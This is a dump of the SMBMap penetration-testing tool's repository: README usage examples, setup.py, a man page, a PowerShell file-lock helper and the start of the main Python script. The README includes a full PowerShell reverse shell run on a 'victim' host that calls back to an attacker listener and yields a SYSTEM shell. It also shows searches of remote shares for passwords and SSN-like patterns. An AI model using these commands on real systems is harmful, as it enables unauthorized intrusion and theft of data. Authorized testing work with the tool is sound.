__ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authentidated session(s) [+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan Status: ADMIN!!! Disk Permissions Comment ---- ----------- ------- ADMIN$ READ, WRITE Remote Admin C$ READ, WRITE Default share ./C$ dr--r--r-- 0 Wed Apr 22 14:50:29 2015 $Recycle.Bin fr--r--r-- 4284 Wed Oct 3 10:16:24 2018 ActivityLog.xsl dr--r--r-- 0 Tue Nov 21 10:47:06 2023 Config.Msi dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Documents and Settings dr--r--r-- 0 Mon Feb 15 16:45:44 2021 iDEFENSE dr--r--r-- 0 Thu Sep 24 20:52:23 2015 nasm fr--r--r-- 2513149952 Tue Nov 21 13:21:16 2023 pagefile.sys dr--r--r-- 0 Thu Apr 9 14:46:48 2015 PerfLogs dw--w--w-- 0 Mon Oct 30 09:20:53 2023 Program Files dw--w--w-- 0 Fri Nov 17 03:27:46 2023 Program Files (x86) dr--r--r-- 0 Wed Jun 14 13:39:51 2023 ProgramData dr--r--r-- 0 Mon Oct 1 12:05:49 2018 Python27 dr--r--r-- 0 Thu Apr 9 13:49:31 2015 Recovery dr--r--r-- 0 Thu Oct 15 13:04:27 2015 Scripts dr--r--r-- 0 Tue Nov 21 11:13:24 2023 System Volume Information fr--r--r-- 5194752 Mon Jan 18 11:12:13 2016 System.Management.Automation.dll fr--r--r-- 0 Fri May 19 13:51:42 2023 TBIWYRVUOD.txt dr--r--r-- 0 Thu Nov 23 13:04:51 2023 Temp fr--r--r-- 15812 Wed Oct 3 10:16:45 2018 temp.log fr--r--r-- 18 Thu Feb 13 15:55:55 2020 test.txt dr--r--r-- 0 Wed Jun 21 12:43:46 2023 Tools dw--w--w-- 0 Thu Nov 23 13:04:51 2023 Users dr--r--r-- 0 Thu Nov 23 13:04:51 2023 Windows print$ READ, WRITE Printer Drivers Temp READ, WRITE Users READ, WRITE ``` ## Recursive listing ``` $ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r Tools --depth 2 --no-banner -q [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authentidated session(s) [+] IP: 192.168.86.179:445 Name: desktop-m8n2dcc.lan Status: ADMIN!!! Disk Permissions Comment ---- ----------- ------- ADMIN$ READ, WRITE Remote Admin C READ ONLY C$ READ, WRITE Default share IPC$ READ ONLY Remote IPC Tools READ, WRITE ./Tools dr--r--r-- 0 Fri Nov 24 08:51:45 2023 . dr--r--r-- 0 Fri Nov 24 08:51:45 2023 .. fr--r--r-- 0 Fri May 19 13:39:58 2023 AZNJSOWDQU dr--r--r-- 0 Mon May 15 15:34:30 2023 CVE-2020-0688_EXP fr--r--r-- 13821 Mon May 15 15:34:30 2023 Debug.txt dr--r--r-- 0 Mon May 15 15:34:30 2023 diskmon fr--r--r-- 13821 Mon May 15 15:34:30 2023 Errors.txt fr--r--r-- 0 Fri May 19 13:42:42 2023 GNDBLUQZMA.txt fr--r--r-- 0 Fri May 19 13:40:56 2023 HOQVWGAXEG fr--r--r-- 2833 Mon May 15 15:34:30 2023 kiwi_passwords.yar fr--r--r-- 2850 Mon May 15 15:34:30 2023 mimicom.idl dr--r--r-- 0 Mon May 15 15:34:30 2023 portmon dr--r--r-- 0 Mon May 15 15:34:30 2023 procexplorer dr--r--r-- 0 Mon May 15 15:34:30 2023 ProcMon fr--r--r-- 4951 Mon May 15 15:34:30 2023 README.md fr--r--r-- 4605 Mon May 15 15:34:30 2023 README.txt fr--r--r-- 0 Fri May 19 13:37:17 2023 RZFNUHSYET fr--r--r-- 123515 Mon May 15 15:34:30 2023 SharePoint - URL Extensions - 18MAR2012.pdf fr--r--r-- 2810 Mon May 15 15:34:30 2023 SharePoint-UrlExtensions-18Mar2012.txt fr--r--r-- 3028050 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.exe fr--r--r-- 8423 Mon May 15 15:34:30 2023 SharePointURLBrute v1.1.pl fr--r--r-- 116 Mon May 15 15:34:30 2023 UrlsFound.txt dr--r--r-- 0 Mon May 15 15:34:30 2023 Win32 dr--r--r-- 0 Mon May 15 15:34:30 2023 x64 dr--r--r-- 0 Mon May 15 15:34:30 2023 ysoserial ./Tools//CVE-2020-0688_EXP dr--r--r-- 0 Mon May 15 15:34:30 2023 . dr--r--r-- 0 Mon May 15 15:34:30 2023 .. dr--r--r-- 0 Mon May 15 15:34:30 2023 .git fr--r--r-- 4756 Mon May 15 15:34:30 2023 CVE-2020-0688_EXP.py fr--r--r-- 0 Mon May 15 15:34:30 2023 nopsec.test' fr--r--r-- 2169 Mon May 15 15:34:30 2023 README.md dr--r--r-- 0 Mon May 15 15:34:30 2023 ysoserial-1.32 ``` ## Recursive Filename Pattern Search ``` $ ./smbmap.py -H 192.168.86.179 -u Administrator -p asdf1234 -r 'c$/program files' --depth 2 -A '(password|config)' ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authentidated session(s) [*] Performing file name pattern match!. [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.Abstractions.dll [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.Abstractions.dll (21368 bytes) [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.Abstractions.dll [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.Binder.dll [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.Binder.dll (25464 bytes) [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.Binder.dll [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Configuration.dll [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Configuration.dll (27512 bytes) [+] File output to: /home/shawnevans/tools/smbmap/smbmap/192.168.86.179-C_program files_Amazon Web Services, Inc_Amazon WorkSpaces_Microsoft.Extensions.Configuration.dll [+] Match found! Downloading: C$/program files/Amazon Web Services, Inc/Amazon WorkSpaces/Microsoft.Extensions.Logging.Configuration.dll [+] Starting download: C$\program files\Amazon Web Services, Inc\Amazon WorkSpaces\Microsoft.Extensions.Logging.Configuration.dll (20344 bytes) ``` ## Scan for SMB signing support ``` $ ./smbmap.py --host-file local.txt --signing ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 3 hosts serving SMB [*] Established 3 SMB connections(s) and 2 authentidated session(s) [-] 192.168.86.204 signing enabled (not required) [!] 192.168.86.213 signing disabled [+] 192.168.86.179 signing required ``` ## Get version info ``` $ ./smbmap.py --host-file local.txt -v ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 3 hosts serving SMB [*] Established 3 SMB connections(s) and 2 authentidated session(s) [+] 192.168.86.204 is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC) [+] 192.168.86.213 is running Windows 6.1 Build 7601 (name:SHAWNEVANS-PC) (domain:SHAWNEVANS-PC) [+] 192.168.86.179 is running Windows 10.0 Build 19041 (name:DESKTOP-M8N2DCC) (domain:DESKTOP-M8N2DCC) ``` ## File Content Searching: ``` $ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]' [+] Finding open SMB ports.... [+] User SMB session established on 192.168.0.99... [+] User SMB session established on 192.168.0.85... [+] User SMB session established on 192.168.0.89... [+] File search started on 1 hosts...this could take a while [+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca884613f4b.txt [+] File search started on 2 hosts...this could take a while [+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb455f96259f33.txt [+] File search started on 3 hosts...this could take a while [+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8f36.txt [+] Grabbing search results, be patient, share drives tend to be big... [+] Job 1 of 3 completed on 192.168.0.85... [+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt [+] Job 2 of 3 completed on 192.168.0.89... [+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt [+] Job 3 of 3 completed on 192.168.0.99... [+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt [+] All jobs complete Host: 192.168.0.85 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9] No matching patterns found Host: 192.168.0.89 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9] C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm Host: 192.168.0.99 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9] C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm ``` ## Drive Listing: This feature was added to complement the file content searching feature ``` $ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L [!] Missing domain...defaulting to WORKGROUP [+] Finding open SMB ports.... [+] User SMB session established... [+] IP: 192.168.1.24:445 Name: unknown [+] Host 192.168.1.24 Local Drives: C:\ D:\ [+] Host 192.168.1.24 Net Drive(s): E: \\vboxsrv\Public VirtualBox Shared Folders ``` ## Nifty Shell: Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to) ``` $ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' [+] Finding open SMB ports.... [+] User SMB session established... [+] IP: 192.168.2.50:445 Name: unkown [!] Error encountered, sharing violation, unable to retrieve output ``` ## Attackers Netcat Listener: ``` $ nc -l 4445 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system ``` ShawnDEvans-smbmap-3808808/setup.py000077500000000000000000000021061473604063400170770ustar00rootroot00000000000000 import setuptools with open("README.md", "r", encoding = "utf-8") as fh: long_description = fh.read() setuptools.setup( name = "smbmap", version = "1.10.7", author = "ShawnDEvans", author_email = "ShawnDEvans@gmail.com", description = " SMBMap is a handy SMB enumeration tool ", long_description = long_description, long_description_content_type = "text/markdown", url = "https://github.com/ShawnDEvans/smbmap", project_urls = { "Bug Tracker": "https://github.com/ShawnDEvans/smbmap/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc", }, classifiers = [ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", "Operating System :: OS Independent", ], packages =[ "smbmap" ], python_requires = ">=3.6", install_requires = [ 'impacket', 'pyasn1', 'pycryptodome', 'configparser', 'termcolor', ], entry_points={ 'console_scripts': [ 'smbmap=smbmap.smbmap:main' ] }, ) ShawnDEvans-smbmap-3808808/smbmap.1000066400000000000000000000117461473604063400167350ustar00rootroot00000000000000.TH SMBMAP "1" "January 2025" "smbmap 1.10.7" "User Commands" .SH NAME smbmap \- SMB enumeration tool .SH SYNOPSIS \fBsmbmap \fI[-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD |--prompt] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND][--mode CMDMODE] [-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only][--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip]\fR .IP .SH DESCRIPTION SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks. .SH OPTIONS .SS "Main arguments:" .TP \fB\-H\fR HOST IP of host .TP \fB\-\-host\-file\fR FILE File containing a list of hosts .TP \fB\-u\fR USERNAME, \fB\-\-username\fR USERNAME Username, if omitted null session assumed .TP \fB\-p\fR PASSWORD, \fB\-\-password\fR PASSWORD Password or NTLM hash .TP \fB\-\-prompt\fR Prompt for a password .TP \fB\-s\fR SHARE Specify a share (default C$), ex 'C$' .TP \fB\-d\fR DOMAIN Domain name (default WORKGROUP) .TP \fB\-P\fR PORT SMB port (default 445) .TP \fB\-v\fR, \fB\-\-version\fR Return the OS version of the remote host .TP \fB\-\-signing\fR Check if host has SMB signing disabled, enabled, or required .TP \fB\-\-admin\fR Just report if the user is an admin .TP \fB\-\-no\-banner\fR Removes the banner from the top of the output .TP \fB\-\-no\-color\fR Removes the color from output .TP \fB\-\-no\-update\fR Removes the "Working on it" message .TP \fB\-\-timeout\fR SCAN_TIMEOUT Set port scan socket timeout. Default is .5 seconds .SS "Kerberos settings:" .TP \fB\-k\fR, \fB\-\-kerberos\fR Use Kerberos authentication .TP \fB\-\-no\-pass\fR Use CCache file (export KRB5CCNAME='~/current.ccache') .TP \fB\-\-dc\-ip\fR IP or \fBHost\fR IP or FQDN of DC .SS "Command Execution:" .IP Options for executing commands on the specified host .TP \fB\-x\fR COMMAND Execute a command ex. 'ipconfig /all' .TP \fB\-\-mode\fR CMDMODE Set the execution method, wmi or psexec, default wmi .SS "Shard drive Search:" .IP Options for searching/enumerating the filesystem of the specified host .TP \fB\-L\fR List all drives on the specified host, requires ADMIN rights. .TP \fB\-r\fR [PATH] Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup' .TP \fB\-g\fR FILE Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt .TP \fB\-A\fR PATTERN Define a file name pattern (regex) that auto downloads a file on a match (requires \fB\-r\fR), not case sensitive, ex '(web|global).(asax|config)' .TP \fB\-\-csv\fR FILE Output to a CSV file, ex --csv shares.csv .TP \fB\-\-dir\-only\fR List only directories, omit files .TP \fB\-\-no\-write\-check\fR Skip check to see if drive grants WRITE access .TP \fB\-q\fR Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (\fB\-A\fR). .TP \fB\-\-depth\fR DEPTH Traverse a directory tree to a specific depth. Default is 1 (root node). .TP \fB\-\-exclude\fR SHARE [SHARE ...] Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$' .SS "File Content Search:" .IP Options for searching the content of files (must run as root), kind of experimental .TP \fB\-F\fR PATTERN File content search, \fB\-F\fR '[Pp]assword' (requries admin access to execute commands, and powershell on victim host) .TP \fB\-\-search\-path\fR PATH Specify drive/path to search (used with \fB\-F\fR, default C:\eUsers), ex 'D:\eHR\e' .TP \fB\-\-search-timeout\fR TIMEOUT Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds .SS "Filesystem interaction:" .IP Options for interacting with the specified host's filesystem .TP \fB\-\-download\fR PATH Download a file from the remote system, ex.'C$\etemp\epasswords.txt' .TP \fB\-\-upload\fR SRC DST Upload a file to the remote system ex. \&'/tmp/payload.exe C$\etemp\epayload.exe' .TP \fB\-\-delete\fR PATH_TO_FILE Delete a remote file, ex. 'C$\etemp\emsf.exe' .TP \fB\-\-skip\fR Skip delete file confirmation prompt .SH EXAMPLES: \fB$ python smbmap.py \-u jsmith \-p password1 \-d workgroup \-H 192.168.0.1\fR .br \fB$ python smbmap.py \-u jsmith \-p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' \-H 172.16.0.20\fR .br \fB $ python smbmap.py \-u 'apadmin' \-p 'asdf1234!' \-d ACME \-H 10.1.3.30 \-x 'net group "Domain Admins" /domain'\fR .SH AUTHOR smbmap was developed by ShawnDEvans .PP This manual page was written by Samuel Henrique for the Debian project, it was based on \fBsmbmap -h\fR output and can be used by other projects as well. ShawnDEvans-smbmap-3808808/smbmap/000077500000000000000000000000001473604063400166425ustar00rootroot00000000000000ShawnDEvans-smbmap-3808808/smbmap/__init__.py000077500000000000000000000000001473604063400207440ustar00rootroot00000000000000ShawnDEvans-smbmap-3808808/smbmap/psutils/000077500000000000000000000000001473604063400203455ustar00rootroot00000000000000ShawnDEvans-smbmap-3808808/smbmap/psutils/Get-FileLockProcess.ps1000066400000000000000000000242771473604063400245520ustar00rootroot00000000000000function Get-FileLockProcess($FilePath) { ##### BEGIN Variable/Parameter Transforms and PreRun Prep ##### if (! $(Test-Path $FilePath)) { Write-Error "The path $FilePath was not found! Halting!" $global:FunctionResult = "1" return } ##### END Variable/Parameter Transforms and PreRun Prep ##### ##### BEGIN Main Body ##### if ($PSVersionTable.PSEdition -eq "Desktop" -or $PSVersionTable.Platform -eq "Win32NT" -or $($PSVersionTable.PSVersion.Major -le 5 -and $PSVersionTable.PSVersion.Major -ge 3)) { $CurrentlyLoadedAssemblies = [System.AppDomain]::CurrentDomain.GetAssemblies() $AssembliesFullInfo = $CurrentlyLoadedAssemblies | Where-Object { $_.GetName().Name -eq "Microsoft.CSharp" -or $_.GetName().Name -eq "mscorlib" -or $_.GetName().Name -eq "System" -or $_.GetName().Name -eq "System.Collections" -or $_.GetName().Name -eq "System.Core" -or $_.GetName().Name -eq "System.IO" -or $_.GetName().Name -eq "System.Linq" -or $_.GetName().Name -eq "System.Runtime" -or $_.GetName().Name -eq "System.Runtime.Extensions" -or $_.GetName().Name -eq "System.Runtime.InteropServices" } $AssembliesFullInfo = $AssembliesFullInfo | Where-Object {$_.IsDynamic -eq $False} $ReferencedAssemblies = $AssembliesFullInfo.FullName | Sort-Object | Get-Unique $usingStatementsAsString = @" using Microsoft.CSharp; using System.Collections.Generic; using System.Collections; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Runtime; using System; using System.Diagnostics; "@ $TypeDefinition = @" $usingStatementsAsString namespace MyCore.Utils { static public class FileLockUtil { [StructLayout(LayoutKind.Sequential)] struct RM_UNIQUE_PROCESS { public int dwProcessId; public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime; } const int RmRebootReasonNone = 0; const int CCH_RM_MAX_APP_NAME = 255; const int CCH_RM_MAX_SVC_NAME = 63; enum RM_APP_TYPE { RmUnknownApp = 0, RmMainWindow = 1, RmOtherWindow = 2, RmService = 3, RmExplorer = 4, RmConsole = 5, RmCritical = 1000 } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct RM_PROCESS_INFO { public RM_UNIQUE_PROCESS Process; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)] public string strAppName; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)] public string strServiceShortName; public RM_APP_TYPE ApplicationType; public uint AppStatus; public uint TSSessionId; [MarshalAs(UnmanagedType.Bool)] public bool bRestartable; } [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)] static extern int RmRegisterResources(uint pSessionHandle, UInt32 nFiles, string[] rgsFilenames, UInt32 nApplications, [In] RM_UNIQUE_PROCESS[] rgApplications, UInt32 nServices, string[] rgsServiceNames); [DllImport("rstrtmgr.dll", CharSet = CharSet.Auto)] static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey); [DllImport("rstrtmgr.dll")] static extern int RmEndSession(uint pSessionHandle); [DllImport("rstrtmgr.dll")] static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, ref uint lpdwRebootReasons); /// /// Find out what process(es) have a lock on the specified file. /// /// Path of the file. /// Processes locking the file /// See also: /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa373661(v=vs.85).aspx /// http://wyupdate.googlecode.com/svn-history/r401/trunk/frmFilesInUse.cs (no copyright in code at time of viewing) /// /// static public List WhoIsLocking(string path) { uint handle; string key = Guid.NewGuid().ToString(); List processes = new List(); int res = RmStartSession(out handle, 0, key); if (res != 0) throw new Exception("Could not begin restart session. Unable to determine file locker."); try { const int ERROR_MORE_DATA = 234; uint pnProcInfoNeeded = 0, pnProcInfo = 0, lpdwRebootReasons = RmRebootReasonNone; string[] resources = new string[] { path }; // Just checking on one resource. res = RmRegisterResources(handle, (uint)resources.Length, resources, 0, null, 0, null); if (res != 0) throw new Exception("Could not register resource."); //Note: there's a race condition here -- the first call to RmGetList() returns // the total number of process. However, when we call RmGetList() again to get // the actual processes this number may have increased. res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, null, ref lpdwRebootReasons); if (res == ERROR_MORE_DATA) { // Create an array to store the process results RM_PROCESS_INFO[] processInfo = new RM_PROCESS_INFO[pnProcInfoNeeded]; pnProcInfo = pnProcInfoNeeded; // Get the list res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref lpdwRebootReasons); if (res == 0) { processes = new List((int)pnProcInfo); // Enumerate all of the results and add them to the // list to be returned for (int i = 0; i < pnProcInfo; i++) { try { processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId)); } // catch the error -- in case the process is no longer running catch (ArgumentException) { } } } else throw new Exception("Could not list processes locking resource."); } else if (res != 0) throw new Exception("Could not list processes locking resource. Failed to get size of result."); } finally { RmEndSession(handle); } return processes; } } } "@ $CheckMyCoreUtilsFileLockUtilLoaded = $CurrentlyLoadedAssemblies | Where-Object {$_.ExportedTypes -like "MyCore.Utils.FileLockUtil*"} if ($CheckMyCoreUtilsFileLockUtilLoaded -eq $null) { Add-Type -ReferencedAssemblies $ReferencedAssemblies -TypeDefinition $TypeDefinition } else { Write-Output "The Namespace MyCore.Utils Class FileLockUtil is already loaded and available!" } $Result = [MyCore.Utils.FileLockUtil]::WhoIsLocking($FilePath) } if ($PSVersionTable.Platform -ne $null -and $PSVersionTable.Platform -ne "Win32NT") { $lsofOutput = lsof $FilePath function Parse-lsofStrings ($lsofOutput, $Index) { $($lsofOutput[$Index] -split " " | foreach { if (![String]::IsNullOrWhiteSpace($_)) { $_ } }).Trim() } $lsofOutputHeaders = Parse-lsofStrings -lsofOutput $lsofOutput -Index 0 $lsofOutputValues = Parse-lsofStrings -lsofOutput $lsofOutput -Index 1 $Result = [pscustomobject]@{} for ($i=0; $i -lt $lsofOutputHeaders.Count; $i++) { $Result | Add-Member -MemberType NoteProperty -Name $lsofOutputHeaders[$i] -Value $lsofOutputValues[$i] } } $Result.Id ##### END Main Body ##### } if ($args.Length -eq 0) { echo "Usage: Get-FileLockProcess " } else { Get-FileLockProcess($args[0]) } ShawnDEvans-smbmap-3808808/smbmap/smbmap.py000077500000000000000000002216251473604063400205060ustar00rootroot00000000000000#!/usr/bin/env python3 import sys import traceback import uuid import signal import string import time import random import string import logging import configparser import argparse import ipaddress import inspect import csv import getpass import resource from threading import Thread, Event from multiprocessing.pool import Pool from impacket.examples import logger from impacket import version, smbserver from impacket.smbserver import SRVSServer from impacket.smbserver import WKSTServer from impacket.smbconnection import * from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.smb3structs import * import ntpath import cmd import os import re from termcolor import colored as termcolored # A lot of this code was taken from Impacket's own examples # https://github.com/SecureAuthCorp/impacket/ # Seriously, the most amazing Python library ever!! # Many thanks to that dev team rlimit = resource.getrlimit(resource.RLIMIT_NOFILE) resource.setrlimit(resource.RLIMIT_NOFILE, (4096, rlimit[1])) OUTPUT_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',10)) BATCH_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10)) + '.bat' SMBSERVER_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10)) DUMMY_SHARE = 'TMP' PERM_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10)) PSUTIL_DIR= 'psutils' PSUTIL_SHARE = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10)) VERBOSE = False USE_TERMCOLOR=True SEND_UPDATE_MSG=True PORT_SCAN_TIMEOUT = .5 USE_CCACHE = False banner = r""" ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap """ def colored(msg, *args, **kwargs): global USE_TERMCOLOR if USE_TERMCOLOR: return termcolored(msg, *args, **kwargs) return msg class Loader(Thread): def __init__(self, msg='Working on it'): Thread.__init__(self) self.__running = Event() self.__running.set() self.__flag = Event() self.__flag.set() 